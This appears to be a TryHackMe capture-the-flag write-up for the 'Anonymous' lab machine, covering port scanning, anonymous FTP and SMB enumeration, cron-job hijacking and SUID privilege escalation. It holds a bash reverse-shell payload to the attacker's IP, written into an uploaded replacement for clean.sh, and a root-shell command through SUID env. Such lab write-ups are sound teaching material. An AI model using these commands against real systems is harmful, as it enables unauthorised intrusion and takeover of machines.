Anonymous — TryHackMe Write-up

Overview

Anonymous is an Easy-difficulty machine on TryHackMe. This challenge covers anonymous FTP access, cron job exploitation, and privilege escalation through SUID binaries.

Objectives:

• Obtain user.txt flag
• Obtain root.txt flag

Reconnaissance

Port Scanning

A full port scan was performed on the target machine. The --min-rate 5000 option was used to increase scan speed, and the -p- option scanned all ports (1-65535).

nmap -sS --min-rate 5000 -p- 10.201.43.68

The scan revealed 4 open ports:

• 21/tcp — FTP
• 22/tcp — SSH
• 139/tcp — NetBIOS-SSN
• 445/tcp — Microsoft-DS (SMB)

65531 ports were closed or filtered. Since SSH is typically difficult to use as an initial attack vector, focus was placed on the FTP and SMB services.

Q1: How many ports are open?
Answer: 4

Service Version Detection

Service and version information was gathered for the open ports. The -sC option runs default NSE scripts, and -sV detects service versions.

nmap -sC -sV -p 21,22,139,445 10.201.43.68

Scan results:

• Port 21: FTP service running
• Ports 139, 445: Samba smbd 3.X — 4.X (Workgroup: WORKGROUP)
• Hostname: ANONYMOUS
• OS: Linux

The hostname “ANONYMOUS” was interesting and potentially suggested anonymous access might be available.

Q2: What service is running on port 21?
Answer: ftp

Q3: What service is running on ports 139 and 445?
Answer: smb

Enumeration

SMB Enumeration

SMB service was checked first. smbclient was used to list available shares.

smbclient -L //10.201.43.68 -N

A share named “pics” was discovered. Upon accessing this share, only two image files were found: corgo2.jpg and puppos.jpeg. Steganography was suspected, so analysis was performed using strings and binwalk, but no hidden data was discovered.

Q4: There’s a share on the user’s computer. What’s it called?
Answer: pics

FTP Enumeration

Anonymous login was attempted on the FTP service. Given that the hostname was “ANONYMOUS”, there was a strong possibility that anonymous access would be permitted.

ftp 10.201.43.68
Name: anonymous
Password: (press enter)

As expected, anonymous access was allowed. Using the ls command revealed a scripts directory. Navigation to this directory showed its contents.

ftp> cd scripts
ftp> ls

Three files were discovered in the scripts directory:

• clean.sh (314 bytes) — Created June 4, 2020
• removed_files.log (1290 bytes) — Recently modified (October 5)
• to_do.txt (68 bytes) — Created May 12, 2020

Each file was downloaded for content examination.

ftp> get clean.sh
ftp> get removed_files.log
ftp> get to_do.txt

clean.sh Analysis

The file contents were examined using the !cat clean.sh command in FTP.

#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log
    done
fi

Script analysis results:

1. Initializes tmp_files variable to 0
2. If the variable value is 0, logs “nothing to delete” message to removed_files.log
3. If not 0, deletes those files and logs the action
4. Log file path is specified as absolute path /var/ftp/scripts/removed_files.log

This script appeared to be running automatically on the server.

removed_files.log Analysis

The log file contained dozens of repeated “Running cleanup script: nothing to delete” messages. Although there were no timestamps in the log, the repetition strongly suggested that clean.sh was being executed periodically via a cron job.

The recent modification time of October 5 at 09:45 also supported the conclusion that the cron job was currently active.

to_do.txt Analysis

I really need to disable the anonymous login...it's really not safe

A note, presumably written by an administrator, indicated that anonymous login should be disabled. However, it appeared that no action had been taken since the note was written in May 2020. This indicated poor security configuration management.

Initial Access

Vulnerability Analysis

Synthesizing the information gathered:

1. Anonymous access to FTP is possible
2. Write permissions on the FTP directory needed to be verified
3. clean.sh is executed periodically via cron job
4. If clean.sh can be modified, a reverse shell can be obtained

To test file upload permissions on FTP, modifying clean.sh was planned. If write permissions existed, the script could be replaced with a malicious payload to obtain a reverse shell when the cron job executed.

Reverse Shell Payload Creation

A new clean.sh containing a bash reverse shell payload was created on the local system.

cd ~
echo ‘#!/bin/bash’ > clean.sh
echo ‘bash -i >& /dev/tcp/10.9.0.106/4444 0>&1’ >> clean.sh
chmod +x clean.sh
cat clean.sh```

Payload explanation:

• bash -i: Execute interactive bash shell
• >&: Redirect stdout and stderr
• /dev/tcp/10.9.0.106/4444: TCP connection to attacker IP and port
• 0>&1: Redirect stdin to stdout

This causes the server to connect its shell to port 4444 on the attacker’s system. 10.9.0.106 is the IP address of the VPN interface (tun0).

FTP Upload

The malicious script was uploaded to the FTP server.

ftp 10.201.43.68
Name: anonymous
Password: (press enter)
ftp> cd scripts
ftp> put clean.sh

The upload completed successfully. The file size changed from the original 314 bytes to 53 bytes, confirming that the original file had been replaced with the payload.

Get jaejun835’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

With write permissions confirmed on FTP, it was now a matter of waiting for the cron job to execute.

Listener Setup and Shell Acquisition

A netcat listener was set up to receive the reverse shell connection.

nc -lvnp 4444

Option explanation:

• -l: listen mode
• -v: verbose output
• -n: disable DNS lookup
• -p 4444: use port 4444

Although the exact cron job execution interval was unknown, after waiting approximately 1–5 minutes, a reverse shell connection was established from the server. Upon successful connection, the following messages appeared:

Listening on 0.0.0.0 4444
Connection received on 10.201.43.68 40760

The warnings bash: cannot set terminal process group and bash: no job control in this shell are normal messages in a limited shell environment and can be ignored.

user.txt Acquisition

After obtaining the shell, the current location and permissions were verified.

whoami
# namelessone

pwd
# /home/namelessone
ls
# pics
# user.txt
cat user.txt
# 90d6f99*************************740

A shell was obtained as the namelessone user, and the user.txt flag was found in the home directory.

Q5: user.txt
Answer: 90d6f99…740

Privilege Escalation

SUID File Search

To escalate from regular user to root privileges, a search was performed for files with the SUID (Set User ID) bit set. Files with the SUID bit execute with the permissions of the file owner, so exploiting a root-owned SUID file can lead to privilege escalation.

find / -perm -4000 -type f 2>/dev/null

Command explanation:

• find /: Search from root directory
• -perm -4000: Files with SUID bit (4000) set
• -type f: Regular files only
• 2>/dev/null: Hide error messages

The search revealed several SUID files:

• /usr/bin/passwd - Normal (needed for password changes)
• /usr/bin/su - Normal (needed for user switching)
• /usr/bin/env - Abnormal (SUID typically unnecessary)
• Other system binaries

Having SUID set on /usr/bin/env is abnormal. env is a utility for setting environment variables and executing programs, which typically does not require SUID. This represented a clear privilege escalation vector.

Privilege Escalation via env

GTFOBins (https://gtfobins.github.io/) is a site that documents methods for exploiting Unix binaries to bypass security. Consulting the SUID section for env revealed the following exploitation method.

/usr/bin/env /bin/sh -p

Command explanation:

• /usr/bin/env: Execute env binary with SUID set
• /bin/sh: Execute shell through env
• -p: privileged mode (maintain SUID permissions)

When env executes with SUID, it gains root privileges, and executing /bin/sh -p in this state runs a shell while maintaining root permissions. The -p option must be included, as without it the shell may revert to the actual user's permissions.

root.txt Acquisition

whoami
# root

cat /root/root.txt
# 4d93009*************************363

Privilege escalation was successful and root privileges were obtained. Access to the /root directory allowed the root.txt flag to be retrieved.

Q6: root.txt
Answer: 4d93009…363

Key Learning Points

Dangers of Anonymous FTP Access

When FTP service allows both anonymous access and write permissions simultaneously, it creates a serious security vulnerability. Attackers can perform the following attacks:

• Upload malicious files
• Modify or delete existing files
• Upload web shells if web directory is accessible

In this challenge, although the administrator recognized in to_do.txt that anonymous login should be disabled, no action was taken. This represents a common case of security management negligence that occurs in real environments.

Cron Job Exploitation

Periodically executed scripts can become major vectors for persistence and privilege escalation. In this challenge:

1. Cron job existence was inferred from repeated messages in removed_files.log
2. Write permissions on clean.sh were confirmed
3. Script was replaced with malicious payload
4. Reverse shell was obtained by waiting for cron job execution

In real environments, cron jobs can be identified by checking /etc/crontab, /etc/cron.d/, and user crontabs (crontab -l).

SUID Binary Exploitation

SUID is a mechanism used when temporary elevated privileges are needed for specific tasks. However, when improperly configured, it becomes a privilege escalation pathway.

Binaries that typically should have SUID:

• /usr/bin/passwd - Users need to modify /etc/shadow
• /usr/bin/sudo - Privilege escalation mechanism
• /bin/su - User switching

Binaries that typically don’t need SUID:

• /usr/bin/env - Environment variable setting
• /usr/bin/find - File searching
• /usr/bin/vim - Text editor

GTFOBins systematically documents exploitation methods for these binaries. When SUID files are discovered during penetration testing, GTFOBins should always be consulted to verify exploitation possibilities.

Information Gathering and Correlation

In this challenge, connecting information obtained at each stage was crucial:

1. Nmap scan → FTP, SMB services discovered
2. FTP enumeration → clean.sh, log files discovered
3. Log analysis → Cron job inferred
4. Write permissions confirmed → Script replacement possible
5. SUID search → env binary discovered
6. GTFOBins consulted → Privilege escalation successful

Information from each stage became clues for the next stage. In penetration testing, the ability to systematically organize and correlate gathered information is critical.